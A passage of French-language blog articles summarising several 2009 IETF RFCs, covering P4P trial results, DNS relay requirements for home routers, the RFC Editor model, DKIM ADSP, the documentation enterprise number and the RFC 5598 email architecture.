La section 2 du RFC résume le principe du test. Cinq essaims de machines, avec des iTrackers programmés différemment à chaque fois, participaient. Les statistiques étaient enregistrées par chaque client puis rassemblées. Témoignage de la puissance du pair-à-pair, le seeder (la machine qui avait le contenu original) n'a envoyé que dix copies alors qu'il y a eu un million de téléchargements.
Quels étaient les différents types de iTrackers utilisé ? Si, dans le premier essaim, les pairs étaient choisis au hasard, les autres utilisaient les politiques suivantes :
Qu'est-ce que ça a donné ? La section 4 résume les résultats (mais il faut aussi lire la section 5, qui détaille les pièges d'interprétation possibles) : chaque essaim de machines a réalisé environ 25 000 téléchargements par jour. Le plus gros essaim a atteint une taille de 11 700 machines. Les iTrackers à grain fin ou à gros grain ont vu leur débit de téléchargement (section 4.2) augmenter de 13 % (en moyenne) mais de 57 à 82 % pour les machines de Comcast, qui avaient le plus d'informations. Et la politique à gros grain s'est montrée plus efficace que celle à grain fin, contrairement à ce qu'on aurait pu attendre.
La section 4.2 donnait les résultats individuels, l'amélioration pour une machine qui télécharge. Mais pour le FAI, quel était le résultat ? La section 4.3 les résume : le trafic sortant de Comcast a diminué de 34 %, l'entrant vers Comcast de 80 %. À noter également qu'il y a d'avantage d'annulations (l'utilisateur s'impatiente et arrête le téléchargement) avec le premier essaim, celui qui n'utilisait pas P4P. Il est possible que les débits plus faibles entrainent davantage de découragement et donc d'annulation. En tout cas, le trafic à l'intérieur de Comcast augmente avec P4P : quand ça marche, les utilisateurs s'en servent plus.
La section 6 formule donc une conclusion relativement optimiste et recommande que l'IETF considère sérieusement P4P dans le cadre du groupe de travail Alto.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : R. Bellis (Nominet UK)
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 26 août 2009
La connexion à l'Internet typique du particulier ou de la petite entreprise passe aujourd'hui par une boîte aux fonctions mal définies. Parfois, celle-ci assure, parmi ses autres tâches, le rôle d'un relais DNS. Et ces relais, programmés en général avec les pieds par un stagiaire en Chine, violent souvent les règles du protocole DNS, et causent d'innombrables problèmes. Ce RFC dresse la liste des problèmes potentiels et formule les règles que doivent suivre les relais pour ne pas trop casser le DNS. Cela servira, pour le cas improbable où les bricoleurs qui écrivent le logiciel de ces boîtes lisent les RFC...
Ces « boîtes » sont parfois nommées box (en anglais, ça fait plus sérieux) parfois « décodeurs » (en souvenir de Canal+, première entreprise qui a réussi à mettre des boîtes chez ses clients), parfois « modem », parfois « routeur », ce qui est techniquement souvent correct, mais insuffisant, vue la variété des fonctions qu'elles assurent. Au minimum, la « boîte » devrait faire passer les paquets IP d'un côté à l'autre (du réseau local vers celui du FAI et réciproquement). Mais, pour des raisons comme celles expliquées par le RFC dans sa section 5.3, beaucoup de boîtes s'arrogent des rôles comme celui de relais DNS, rôle qu'elles remplissent mal.
La section 1 du RFC rappelle l'excellente étude qu'avait fait le même
auteur, Ray Bellis, employé du registre de
.uk
, pour le compte du SSAC de l'ICANN : cette étude, et
celle du
registre DNS suédois, montraient
que la grande majorité des boîtes existantes, dans leur configuration
par défaut) violaient largement le
protocole DNS et qu'elles contribuaient ainsi à
l'ossification de
l'Internet (le fait qu'on ne puisse plus
déployer de nouveaux services car les boîtes intermédiaires abusent de
leur rôle et bloquent ce qu'elles ne comprennent pas). Des nouveaux
services comme DNSSEC risquent donc d'être très
difficiles à installer.
La boîte qui fait relais DNS (et pas simplement routeur IP, comme elle le devrait) n'a en général pas un vrai serveur DNS, avec capacités de cache et gestion complète du protocole. Elle est un être intermédiaire, ni chair, ni poisson, violant le modèle en couches, et dépend des résolveurs du FAI auquel elle transmet les requêtes. Le RFC commence donc par recommander de ne pas utiliser de tels relais. Néanmoins, s'ils existent, il faudrait au minimum qu'ils suivent les recommandations du document.
La section 3 remet ces recommandations dans le contexte du principe de transparence. Un relais DNS ne peut espérer mettre en œuvre toutes les fonctions du DNS, surtout celles qui n'existent pas encore. En effet, la boîte a en général des ressources matérielles assez limitées, elle n'a souvent pas de mécanisme de mise à jour simple, ce qui veut dire qu'elle tournera toute sa vie avec le même code, et son interface de configuration doit idéalement être simple.
Alors, le relais, puisqu'il ne peut pas gérer complètement le DNS, devrait le laisser en paix. L'étude du SSAC montrait que, plus la boîte joue un rôle actif dans le protocole DNS, plus elle fait de bêtises. Le relais devrait donc juste prendre les paquets d'un côté et les envoyer de l''autre, sans jouer à les interpréter, ce qu'il fait toujours mal. Et, dans tous les cas, le RFC recommande que les machines du réseau local puissent écrire directement au résolveur DNS de leur choix, si celui de la boîte est vraiment trop mauvais (ce n'est pas toujours possible, par exemple dans les hôtels où le port 53, celui du DNS, est souvent filtré).
Dans le cadre de ce principe de transparence, la section 4 du RFC détaille ensuite point par point toutes les règles à respecter particulièrement. Ainsi, la section 4.1 rappelle que les relais ne doivent pas jeter un paquet DNS simplement parce que des options inconnues apparaissent dans celui-ci. Beaucoup de boîtes jettent les paquets où les bits AD (Authentic Data) ou CD (Checking Disabled) sont à un, simplement parce qu'ils n'existaient pas à l'époque du RFC 1035 (section 4.1), le seul que le stagiaire qui a programmé la boîte a lu (quand il en a lu un). (Ces bits sont dans la plage Reserved for future use, notée Z.)
De même, certaines boîtes ne laissent pas passer les types d'enregistrement inconnus, la section 4.3 rappelle donc, suivant le RFC 3597 qu'une mise en œuvre correcte du DNS doit laisser passer les types inconnus, sinon il sera impossible de déployer un nouveau type.
Un autre point sur lequel les logiciels des boîtes (mais aussi beaucoup de pare-feux) sont en général défaillants est celui de la taille des paquets DNS. Là encore, si le programmeur a lu un RFC (ce qui est rare), il s'est arrêté au RFC 1035, sans penser que, depuis vingt-deux ans qu'il existe, des mises à jour ont peut-être été faites et que la taille maximum de 512 octets n'est donc plus qu'un souvenir. La section 4.4 doit donc rappeler que les paquets DNS ne sont pas limités à 512 octets et que des réponses de plus grande taille sont fréquentes en pratique. Le relais doit donc gérer TCP correctement (section 4.4.1), et accepter EDNS0 (section 4.4.2, voir aussi le RFC 6891..
Les boîtes maladroites peuvent aussi interférer avec la sécurité. La section 4.5 rappelle que TSIG (RFC 8945) peut être invalidé si la boîte modifie certains bits des paquets (ce qui existe) ou bien retourne des réponses non signées à des requêtes signées (ce qui est courant sur les points chauds Wifi).
Une autre section, la 5, couvre les questions de l'interaction avec DHCP. La plupart du temps, la machine de M. Toutlemonde obtient l'adresse IP du résolveur DNS via DHCP (option 6, Domain Name Server, RFC 2132, section 3.8). La plupart des boîtes indiquent leur propre adresse IP ici. Et, en général, il n'est pas possible de modifier ce paramètre (par exemple, la Freebox ne permet pas d'indiquer un autre serveur DNS, choisi par le client ; même chose chez SFR). La seule solution pour court-circuiter le service DNS par défaut est donc d'indiquer en dur les résolveurs souhaités, dans la configuration de chaque machine. La section 5.1 appelle donc à une option de la boîte permettant de changer les serveurs DNS annoncés.
DHCP permet également une option indiquant le nom de domaine du réseau (option 15, section 3.17 du RFC 2132) et la section 5.2 du RFC 5625 demande qu'elle soit vide par défaut, en l'absence d'un domaine local normalisé.
La section 5.3 est consacrée à une discussion sur la durée du bail DHCP. Une des raisons pour lesquelles beaucoup de boîtes indiquent leur propre adresse IP comme résolveur DNS est que, au démarrage, la boîte ne connait pas forcément les adresses des résolveurs DNS du FAI. Mais cette technique oblige ensuite la boîte à agir comme relais DNS, ce qui est précisément la source de beaucoup de problèmes. Une solution possible, suggérée par notre RFC, est d'annoncer l'adresse IP de la boîte avec une durée de bail ultra-courte, tant que la boîte n'est pas connectée à l'Internet, puis d'annoncer les résolveurs du FAI ensuite, avec une durée de bail normale.
Les interférences provoquées par les boîtes mal conçues peuvent aussi avoir un impact sur la sécurité. C'est l'objet de la section 6. Il y a des boîtes qui, ignorant le RFC 5452, réécrivent le Query ID, rendant ainsi les utilisateurs davantage vulnérables à la faille Kaminsky (section 6.1). Il y en a qui répondent aussi aux requêtes DNS venues du WAN, permettant ainsi les attaques décrites dans le RFC 5358 (section 6.2).
Bref, les relais DNS des boîtes sont souvent plus dangereux qu'utiles. Le principe d'ingéniérie simple « si vous voyez un système inconnu, bas les pattes » est malheureusement très largement ignoré dans l'Internet. Pourquoi ? Pour les boîtes, il y a plusieurs raisons, typiquement liées à l'isolement complet dans lequel vivent les programmeurs anonymes de ces machines. Au contraire des logiciels libres comme Unbound ou BIND, dont les auteurs participent régulièrement à la communauté DNS, les programmeurs des boîtes sont inconnus, ne fournissent pas d'adresse pour leur envoyer des rapports de bogue ou de remarques. Pas étonnant, dans ces conditions, que le logiciel soit de mauvaise qualité.
Les abonnés à Free noteront que la Freebox n'a pas les problèmes mentionnés dans le RFC puisqu'elle est purement routeur, elle ne sert pas de relais DNS. Les serveurs DNS qu'elle indique en DHCP sont situés derrière elle, dans les salles de Free.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : O. Kolkman (IAB)
Pour information
Première rédaction de cet article le 24 août 2009
L'articulation compliquée entre l'IETF qui produit les normes TCP/IP et le RFC Editor qui les publie, n'a jamais cessé de faire couler de l'encre (ou d'agiter des électrons). Dans ce document, l'IAB décrit un modèle pour le RFC Editor, modèle où les fonctions de ce dernier sont éclatées en plusieurs fonctions logiques. Aujourd'hui effectuées par la même organisation, elles pourraient demain être réparties entre plusieurs groupes. Ce RFC était un premier essai (« version 1 ») et il a ensuite été remplacé par le RFC 6635.
Le document de référence actuel est le RFC 4844. Comme le rappelle la section 1, il décrit les tâches du RFC Editor de manière globale, comme si c'était forcément une seule entité (c'était, à l'origine, une seule personne, Jon Postel). La section 2 note que la tâche de RFC Editor est actuellement une partie de l'IASA et financée par son budget.
La section 3 s'attaque à la définition du rôle du RFC Editor sous forme de fonctions séparées. L'IAB voit quatre fonctions :
Chaque section va ensuite détailler ces tâches.
L'Éditeur de la série des RFC (RFC Series Editor) est décrit en premier, en section 3.1. Il est responsable du travail à long terme, définir les principes qui assurent la pérennité des RFC, garder à jour les errata, développer le guide de style des RFC (ce qui inclus la délicate question du format), etc. Notre RFC décrit les compétences nécessaires, qui comprennent une expérience des RFC en tant qu'auteur.
L'Éditeur des contributions indépendantes (Independent Submission Editor) fait l'objet de la section 3.2. Les contributions indépendantes sont celles qui sont envoyées directement au RFC Editor, sans passer par l'IETF. Le RFC Editor doit donc jouer un rôle bien plus actif avec elles, notamment pour juger de leur valeur technique. Le responsable de cette tâche doit donc avoir une solide compétence technique et jouir d'une bonne réputation auprès des participants à l'IETF. (Le premier a été nommé en février 2010.) Son rôle est désormais décrit par le RFC 6548.
Le travail quotidien est, lui, assuré par le Producteur des RFC (RFC Production Center) dont parle la section 3.3. Il reçoit les documents bruts, les corrige, en discute avec les auteurs, s'arrange avec l'IANA pour l'allocation des numéros de protocoles, attribue le numéro au RFC, etc.
Les RFC n'étant publiés que sous forme numérique, il n'y a pas d'imprimeur mais le numérique a aussi ses exigences de publication et il faut donc un Publieur des RFC (RFC Publisher), détaillé en section 3.4. Celui-ci s'occupe de... publier, de mettre le RFC dans le dépôt où on les trouve tous, d'annoncer sa disponibilité, et de s'assurer que les RFC restent disponibles, parfois pendant de nombreuses années.
Chacune de ces fonctions pourra faire l'objet d'une attribution spécifique (à l'heure actuelle, elles sont toutes effectuées par le même groupe à l'ISI). L'annexe A décrit le mécanisme de sélection actuellement en cours.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : E. Allman (Sendmail), J. Fenton (Cisco), M. Delany (Yahoo), J. Levine (Taughannock Networks)
Intérêt historique uniquement
Réalisé dans le cadre du groupe de travail IETF dkim
Première rédaction de cet article le 24 août 2009
Dernière mise à jour le 26 novembre 2013
Le protocole de signature des messages électroniques DKIM, normalisé dans le RFC 6376, a un petit défaut : si un message ne porte pas de signature, comment savoir si c'est parce que le domaine émetteur ne signe pas ou bien si c'est parce qu'un attaquant a modifié le message et retiré la signature ? (À noter que la solution proposée par ce RFC a finalement été officiellement abandonnée par l'IETF en novembre 2013.)
La solution qui avait été choisie par le groupe de travail DKIM de l'IETF était, comme documenté dans ce RFC 5617, de permettre à un domaine de publier ses pratiques de signature. Désormais, un domaine va pouvoir annoncer dans le DNS qu'il signe tous ses messages (et donc qu'un message sans signature est suspect) ou bien qu'il ne signe pas systématiquement et qu'il faut donc être indulgent à la vérification.
Dans le futur, il est théoriquement possible que DKIM soit tellement largement déployé que cette publication soit inutile, et qu'on puisse considérer que tout message doit être signé. Mais on en est très loin (section 1 du RFC).
Le RFC 5016 avait défini le cahier des charges pour un tel mécanisme de publication des pratiques. Voici donc sa réalisation.
La section 3 du RFC définit les grandes lignes du mécanisme :
_adsp._domainkey.mydomain.example
, indiquant les
pratiques de signature de mydomain.example
(mais
pas celles des domaines fils comme
child.mydomain.example
, cf. section 3.1).From:
du message (l'Auteur, en terminologie
DKIM). À noter que le message peut avoir des signatures pour d'autres
domaines que celui de l'Auteur, par exemple s'il a été transmis via
une liste de diffusion qui signe (cf. section 3.2).Place maintenant à la description détaillée du protocole, en
section 4. Les enregistrements ADSP sont publiés sous forme
d'enregistrements TXT. Les objections du RFC 5507 ne s'appliquent pas ici puisque l'enregistrement n'est
pas immédiatement dans le domaine, mais dans
_adsp._domainkey.LEDOMAINE
. Dans le texte de
l'enregistrement, la syntaxe habituelle de DKIM,
clé=valeur
est utilisée. Actuellement, seule la
clé dkim
est définie (section 4.2.1) et elle peut
prendre les valeurs :
unknown
: on ne sait pas (c'est la valeur
par défaut, s'il n'y a pas d'enregistrement ADSP),all
: tout le courrier venant de ce domaine
est signé,discardable
: tout le courrier venant de ce domaine
est signé et peut être jeté à la poubelle sans remords s'il ne l'est pas.Des futures valeurs pourront apparaitre plus tard dans le registre IANA (section 5).
On retrouve, dans le choix d'une valeur pour la clé
dkim
, un problème classique de
l'authentification : que faire lorsqu'elle échoue ? Si on met
unknown
, ADSP ne sert à rien puisque le récepteur
n'a aucune idée de s'il peut agir ou non. Si on met
discardable
, on fait courir un grand risque à son
courrier puisque une bête erreur comme l'expédition d'un message
depuis un site qui ne signe pas pourra entrainer la destruction du
message. Je fais le pronostic que, par prudence, les émetteurs
n'utiliseront que unknown
ou
all
et les récepteurs ne jetteront le message que
lorsqu'un discardable
apparait. En pratique, il
est donc probable qu'aucun message abusif ne sera éliminé par ADSP.
Les tests faits suite à des requêtes ADSP peuvent donc fournir des
informations sur l'authenticité d'un message et ces informations
peuvent être publiées dans un en-tête
Authentication-Results:
du RFC 8601. La méthode dkim-adsp
s'ajoute
donc aux méthodes
d'authentification utilisables (section 5.4).
La section 6, les questions de sécurité, explore les risques et les problèmes associés à ADSP. Elle note par exemple, ce qui est plutôt amusant, que puisque des MUA très courants comme Outlook n'affichent pas l'adresse de courrier de l'expéditeur, authentifier le domaine de celle-ci (tout le but de ADSP) n'apporte pas grand'chose avec ces MUA.
Comme ADSP dépend du DNS, il en partage les vulnérabilités, et l'usage de DNSSEC peut donc être nécessaire.
Voici un exemple de requête dig pour trouver l'enregistrement ADSP de formattype.fr
:
% dig +short TXT _adsp._domainkey.formattype.fr "dkim=unknown"
D'autres exemples, très détaillés figurent en annexe A, couvrant les différents cas.
L'annexe B est très intéressante et couvre plusieurs scénarios
d'utilisation typiques, où l'usage d'ADSP n'est pas complètement
évident. Le cas des listes de
diffusion n'y apparait pas, alors qu'elles sont souvent un
des plus gros casse-têtes avec DKIM. Si une liste de diffusion
respecte le message original et ne le modifie pas, pas de
problème. Elle peut laisser l'éventuelle signature DKIM originale (et,
si elle le souhaite, ajouter sa propre signature, mais qui ne pourra
pas utiliser ADSP puisque le domaine de l'auteur n'est pas celui de la
liste). Mais si la liste modifie les messages, par exemple pour
ajouter de la publicité à la fin, ou pour ajouter une étiquette dans
le sujet, alors la signature DKIM originale ne correspondra plus. Le
message sera alors jugé comme étant de la triche (ce qu'il est,
puisque le message originel a été changé). Si le programme
gestionnaire de listes supprime la signature et que le domaine de
l'auteur publiait avec ADSP dkim=discard
, ce
n'est pas mieux, le message sera également considéré comme faux.
À l'heure de la publication du RFC, les mesures faites par DNSdelve montrent qu'il n'existe
quasiment aucun domaine publiant de l'ADSP sous
.fr
. Si on veut tester,
les domaines catinthebox.net
,
isdg.net
ou wildcatblog.com
publient de l'ADSP.
En novembre 2013, l'IESG a officiellement annoncé la fin d'ADSP et la reclassification de ce RFC comme « intérêt historique seulement ». Il y a certes eu des mises en œuvre d'ADSP mais peu de déploiements. Et parfois, ils se sont mal passés par exemple avec des politiques trop strictes qui faisaient rejeter les messages de certains utilisateurs. Pour connaître la politique DKIM d'un domaine, il faut désormais recourir à des méthodes autres.
Date de publication du RFC : Août 2009
Auteur(s) du RFC : P. Eronen (Nokia), D. Harrington (Huawei)
Pour information
Première rédaction de cet article le 24 août 2009
L'arborescence de nommage de gestion, décrite dans le RFC 1155 puis dans le RFC 2578, prévoit un sous-arbre
pour les organisations privées, 1.3.6.1.4.1
. Ce
RFC ajoute un numéro d'entreprise à ce
sous-arbre, pour les exemples et la documentation.
Autrefois, ces noms et numéros réservés pour la documentation n'existaient pas, on utilisait des valeurs prises au hasard, ou bien qui reflétaient l'entreprise de l'auteur du RFC. Malheureusement, ces valeurs se retrouvaient parfois utilisées par des administrateurs réseau distraits, d'où la tendance actuelle à réserver des valeurs uniquement pour les cours, tutoriels, modes d'emploi, etc. C'est ce que font le RFC 5737 pour les adresses IPv4, le RFC 3849 pour les adresses IPv6, le RFC 2606 pour les noms de domaines, etc. Notre RFC le fait pour les numéros d'organisation (enterprise numbers) de l'arborescence de gestion, qui est utilisée notamment par SNMP mais également par Radius (les attributs vendor-specific) ou par Syslog (les structured data).
Ainsi, l'entreprise Netaktiv a t-elle obtenu en avril
2001 le numéro 9319 et son sous-arbre est donc
1.3.6.1.4.1.9319
. Pour la documentation et les
exemples, le nombre réservé est 32473 (sections 2
et 3 du RFC) donc le
sous-arbre 1.3.6.1.4.1.32473
. Le registre IANA contient désormais ce numéro.
Il se reflète également dans le domaine
enterprise-numbers.org
qu'on peut interroger via
le DNS :
% dig +short TXT 32473.enterprise-numbers.org "Example Enterprise Number for Documentation Use"
Date de publication du RFC : Juillet 2009
Auteur(s) du RFC : D. Crocker (Brandenburg Internetworking)
Pour information
Première rédaction de cet article le 20 juillet 2009
Le courrier électronique est aujourd'hui une des principales applications de l'Internet. Mais, bien qu'il existe plusieurs RFC normalisant ses composantes techniques (comme les RFC 5321 et RFC 5322), aucun document « officiel » ne décrivait l'architecture du courrier, ses principales composantes, leurs relations, et les termes à utiliser pour les désigner. C'est le rôle de ce nouveau RFC, dont le développement souvent douloureux a pris près de cinq ans.
Depuis bientôt trente ans qu'il existe, le courrier électronique a connu des hauts et des bas dans les médias. Très souvent, sa fin proche a été proclamée, au profit, par exemple, de la messagerie instantanée. On a même vu des discours à la limite du racisme, affirmant que le courrier électronique n'avait pas de sens en dehors de l'Europe parce que les africains seraient éternellement voués à la culture orale. Mais, malgré la concurrence de nouveaux gadgets qui brillent (le plus récent étant Google Wave), malgré les assauts du spam, malgré les réglements intérieurs décourageant l'usage du courrier électronique (comme je l'ai vu récemment dans une entreprise dont 100 % de l'activité concerne l'Internet), le traditionnel courrier marche encore très bien. Ce n'était donc pas inutile de documenter son architecture, tâche à laquelle s'est attelée un vétéran, Dave Crocker.
Le courrier s'étant développé de manière relativement informelle, sans architecture pré-définie (au contraire du défunt X.400, qui avait tenté une approche de haut en bas), même le vocabulaire n'est pas normalisé. La différence entre forwarding et redirecting n'a jamais ainsi été clairement expliquée, et c'est encore pire si on veut écrire en français. Résultat, les noms des menus dans les logiciels ne sont pas cohérents d'un logiciel à l'autre, et les discussions techniques sont souvent lentes et pénibles car il n'y a pas d'accord sur les concepts de base. C'est ainsi que le groupe de travail Marid avait perdu beaucoup de temps dans des débats byzantins.
Le RFC 5598 va donc souvent créer un vocabulaire nouveau, qui déroutera tout le monde.
Autre problème lorsqu'il faut décrire l'architecture du courrier : il a beaucoup évolué depuis le début. Comme un service de messagerie sans utilisateurs ne sert à rien, chaque changement s'est fait en maintenant la compatibilité et le résultat n'est donc pas toujours très organisé.
Ce RFC 5598 ne vise pas à améliorer le courrier, uniquement à décrire comment il fonctionne actuellement. Il résume le fonctionnement du courrier (section 1). Celui-ci repose sur trois séries de normes :
La connaissance de l'histoire est souvent utile pour comprendre l'existant, d'autant plus que l'Internet repose largement sur le respect de la base installée : pas question de supprimer tout à coup un service utile. La section 1.1 retrace donc les (très) grandes lignes de l'évolution du courrier. Celui-ci a eu son premier document d'architecture avec le RFC 1506, qui empruntait à X.400 le vocabulaire de MUA et MTA. L'ensemble des MTA formait le MHS (Message Handling System). Mais les piliers que sont le protocole SMTP, le format IMF des messages, et le format des adresses avec le fameux @, sont restés très constants. Autre constante, la séparation entre le contenu du message et les informations de contrôle, qui permettent son acheminement.
Sont également restés les principes suivants :
stephane+blog@bortzmeyer.org
fonctionne partout
et désigne toujours la même boîte aux lettres),Autre méta-question, quel est le rôle d'une architecture ? La section 1.2 la voit comme la connexion entre un service rendu à l'utilisateur et le(s) protocole(s) qui mettent en œuvre ce service. C'est l'architecture qui permet de s'y retrouver dans les protocoles utilisés. Elle est donc d'un plus haut niveau que les protocoles. Mais attention, le protocole ne respecte pas forcément complètement l'architecture (surtout comme lorsque, comme ici, il a été développé bien avant...) et ce n'est pas forcément un défaut, l'architecture doit être une aide, pas un réglement à respecter aveuglément.
Bien, maintenant que les bases sont posées, chaque section va parler d'une classe d'objets différente. La section 2 commence avec les rôles des différents acteurs (actor roles). Quels sont les rôles joués ici ?
D'abord, il y a les utilisateurs (user actors), expliqués en section 2.1. Ce ne sont pas forcément des humains, il existe aussi des programmes qui écrivent, traitent et lisent les messages. Il y a quatre sortes d'utilisateurs (le RFC contient un diagramme de leurs interactions, en page 10) :
L'auteur est responsable du contenu du message, qu'il confie au MHS pour que celui-ci l'achemine au destinataire. Celui-ci lit le message. S'il y répond, créant un nouveau message, il devient Auteur et le précédent auteur devient Destinataire de ce nouveau message. Les répondeurs se chargent de générer des réponses lors d'évènements comme une adresse de destination inexistante (dans ce cas, l'auteur reçoit une réponse qui ne vient pas du destinataire).
Plus complexe, l'intermédiaire (section 2.1.4) va recevoir le message et le réémettre à des destinataires différents, parfois après modification. Un intermédiaire typique est un gestionnaire de liste de diffusion. Le RFC suggère une bonne définition pour un intermédiaire : il envoie des messages donc il est Auteur, mais les Destinataires de ces messages ne le considèrent pas comme tel.
Le second rôle est celui des serveurs (MHS actors), vus en section 2.2. Ce sont les programmes qui vont, collectivement, mettre en œuvre ce que les utilisateurs perçoivent comme une entité unique, le MHS (Message Handling System). La page 13 contient un joli diagramme de leurs interactions. Il y a :
Received:
). Le relais travaille à un niveau en
dessous de l'Intermédiaire, mais un niveau au dessus des routeurs
IP,Après les Utilisateurs et les Serveurs, un autre rôle important est celui des Organisations (administrative actors, section 2.3). Plus formellement, on les nomme ADMD (ADministrative Management Domain). C'est au sein d'un ADMD que se prennent les décisions et que sont appliquées des politiques, par exemple des choix en terme de lutte anti-spam. Au niveau de l'ensemble de l'Internet, il n'y a pas unité de décision, il n'est pas envisageable de demander, par exemple, un déploiement généralisé de telle ou telle technique. En revanche, au sein d'un ADMD, de telles décisions sont possibles (c'est donc au courrier ce qu'un AS est au routage.) Beaucoup de décisions, par exemple en matière de filtrage, dépendent de si le message est interne à l'ADMD ou pas.
Le RFC 5598 discerne plusieurs sortes d'ADMD :
Un dessin page 17 illustre leurs relations. Lors de l'envoi d'un message, la transmission se fait en général entre les deux ADMD de bord, directement (à ce niveau d'analyse ; à un niveau plus bas, il y a plusieurs MTA). Parfois, un ou plusieurs ADMD de transit traitent le message. Parfois encore, l'ADMD du bord garde le message pour l'ADMD consommateur, comme lorsqu'il s'agit d'un accès Web aux boîtes aux lettres. (Voir aussi le RFC 5068.)
Pour désigner toutes les entités qui apparaissent dans le courrier, il faut des identificateurs. Il existe plusieurs identités possibles, exposées en section 3 :
Jean.Durand@comptabilite.monentreprise.example
. La
partie à gauche du @ doit être considérée comme
opaque par la plupart des programmes qui
manipulent le courrier, surtout lorsqu'ils n'ont pas lu la
norme. Elle ne doit être interprétée qu'à la destination
finale. Les conventions comme les adresses incluant un
+ sont purement locales et ne doivent pas être
utilisées par les autres acteurs. (Un autre exemple de telles
conventions est le RFC 3192 avec ses adresses de
fax comme
FAX=+12027653000/T33S=1387@fax.example.org
.) Aujourd'hui,
ces adresses sont utilisées bien au delà du courrier, par exemple,
bien des sites Web utilisent ces adresses comme identifiants pour leurs
clients enregistrés (c'est le cas d'Amazon, par
exemple).Message-ID:
et dont la forme syntaxique ressemble
à une adresse de courrier (mais ne l'est pas). Il est fixé par
l'origine. Un exemple est
<alpine.BSF.2.00.0907081901140.79224@in1.dns-oarc.net>
. Cet
identificateur sert à désigner un message sans ambiguité. C'est par
exemple lui qui est utilisé comme référence dans les fils de discussion. Une question
intéressante est de savoir à partir de quand affecter un nouvel
identificateur lorsque le message est modifié. Le RFC ne fournit pas
de règles strictes mais suggère que, si le changement ne met en jeu
que la forme (par exemple un nouvel encodage),
alors, il ne s'agit pas d'un nouveau message et on ne devrait pas
mettre un nouvel identificateur. Mais il y a bien d'autres cas plus
douteux. Le problème est analogue à celui qui se pose pour d'autres
identificateurs comme les ISBN. Avec ces
derniers, on constate en pratique que les éditeurs ont des pratiques très différentes
quant à la réutilisation d'un ISBN.Notre RFC se déplace ensuite vers des entités plus concrètes, les
programmes serveurs (section 4). Illustrés page 24, leur présentation
nécessite d'abord un petit détour sur le format des messages (section 4.1). Il y a
le message proprement dit, normalisé dans le RFC 5322. Et il y a des métadonnées,
couramment appelées l'enveloppe (section 4.1.1) et qui servent au
MHS pour assurer une distribution correcte. Les informations de
l'enveloppe sont souvent enregistrées dans le message, pour analyse et
débogage a posteriori (c'est le cas
des champs Received:
).
Dans le message lui-même, il y a deux parties, les
en-têtes (section 4.1.2) et le
corps (section 4.1.3). Les
en-têtes (comme From:
, Date:
ou
Subject:
) sont structurées, pour permettre un
traitement automatique, par exemple par
Sieve. La liste des champs est décrite dans le
RFC 4021 et on peut la modifier suivant les procédures du
RFC 3864. Le corps du message n'est pas normalement structuré (mais
la norme MIME lui a donné un certaine
structure). Les informations de l'en-tête ne coïncident pas forcément
avec celles de l'enveloppe (par exemple, si un message est envoyé à
une liste de diffusion, le champ To:
de l'en-tête
indique la liste, le paramètre RCPT TO
de
l'enveloppe indiquera un destinataire individuel).
Enfin, il existe aussi des « méta-messages », automatiquement générés et analysables par un programme comme les MSN (Message Disposition Notification) des RFC 3297 et RFC 8098, ou comme les DSN (Delivery Status Notification) du RFC 3461, qui sont typiquement utilisés comme avis de non-remise d'un message.
Pour toutes ces parties d'un message, il existe des identités différentes. Une question aussi simple que « Quel est l'auteur du message ? » a ainsi plusieurs réponses possibles, toutes légitimes. Ce point est souvent mal compris par les utilisateurs, par exemple lorsqu'une technique d'authentification est utilisée. Qu'authentifie t-elle exactement ? Pas forcément ce que l'utilisateur croit...
La section 4.1.4 fait la liste de ces identités, en indiquant qui
la met dans le message. Par exemple, RFC5322.From
est le champ From:
de l'en-tête, et est mis par
l'Auteur. RFC5321.EHLO
est le nom qu'annonce un
serveur SMTP à ses pairs et est mis par
l'Origine (MSA ou MTA). RFC2919.ListID
est
l'identité d'une liste de diffusion (cf. RFC 2919) et est
mise par l'Intermédiaire. Dernier exemple (mais la liste du RFC est bien
plus longue) : RFC791.SourceAddr
est l'adresse
IPv4 de la machine cliente (certains
protocoles, comme SPF - RFC 7208, l'utilisent).
Après cela, la section 4.2 peut commencer à lister les programmes serveurs de courrier. On y trouve le MUA (Mail User Agent), celui qui interagit directement avec l'utilisateur (Outlook, mutt, Thunderbird, etc), le MSA (Message Submission Agent, le premier serveur à recevoir le courrier), le MTA (Mail Transfer Agent), ce que l'utilisateur ne voit pas, Courier, Exchange, Postfix, etc)... Pour chacun d'eux, le RFC indique les identités qui sont pertinentes pour ce serveur. Par exemple, le MSA et le MTA manipulent des identités du RFC 5321, ce qui n'est pas le cas du MUA.
Cette section couvre en détail leurs fonctions. Par exemple, le MTA a droit à une section 4.3.2 qui précise son fonctionnement de « routeur de niveau 7 ». Comme tous les routeurs, il a besoin de recevoir l'information sur les routes existantes et, sur l'Internet, cela se fait essentiellement via les enregistrements MX du DNS.
Moins connu que le MUA et le MTA, le MDA
fait l'objet de la section 4.3.3. Le Mail Delivery
Agent est chargé du passage du message depuis le MHS jusqu'à
la boîte aux lettres de l'utilisateur. Le courrier est reçu via le
protocole LMTP (RFC 2033) ou bien par
un mécanisme non normalisé (par exemple, sur Unix, via un appel d'un
exécutable et transmission du courrier sur l'entrée standard de
celui-ci). Parmi les plus connus, dans le monde
Unix, procmail ou le
local
de Postfix.
L'acheminement du courrier suit en général un modèle de push où l'emetteur envoie le message vers un destinataire supposé toujours prêt. Mais le modèle du courrier permet également un fonctionnement en pull, avec des protocoles comme ceux du RFC 1985 ou du RFC 2645. (Les protocoles comme UUCP étant traités via un système de passerelle, cf. section 5.4). De même, une fois le message délivré, le destinataire peut y accéder selon un mode pull, avec POP (RFC 1939) ou IMAP (RFC 9051).
Comme tout ce RFC 5598, cette section parle d'architecture, pas de mise en œuvre. Dans la pratique, une implémentation donnée de cette architecture peut répartir ses serveurs de façon assez différente (section 4.5). Par exemple, il est fréquent que les fonctions de MSA et de MTA soient fusionnées dans le même serveur (et, avec Postfix, il est même difficile de séparer les deux fonctions).
La complexité des fonctions assurées par les intermédiaires (mediators) méritait bien une section entière, la 5. Contrairement au MTA, transporteur neutre, qui doit transmettre un message avec le minimum d'altérations, l'intermédiaire a le droit de réécrire partiellement le message. Par contre, contrairement au MUA, l'intermédiaire n'est pas censé composer de messages nouveaux, et doit toujours partir d'un message existant dont il préserve le sens général. Le RFC cite plusieurs exemples d'intermédiaires :
~/.forward
de Postfix et sendmail). Le
destinataire décide alors de renvoyer le message à
une nouvelle adresse (section 5.1). La fonction est typiquement mise
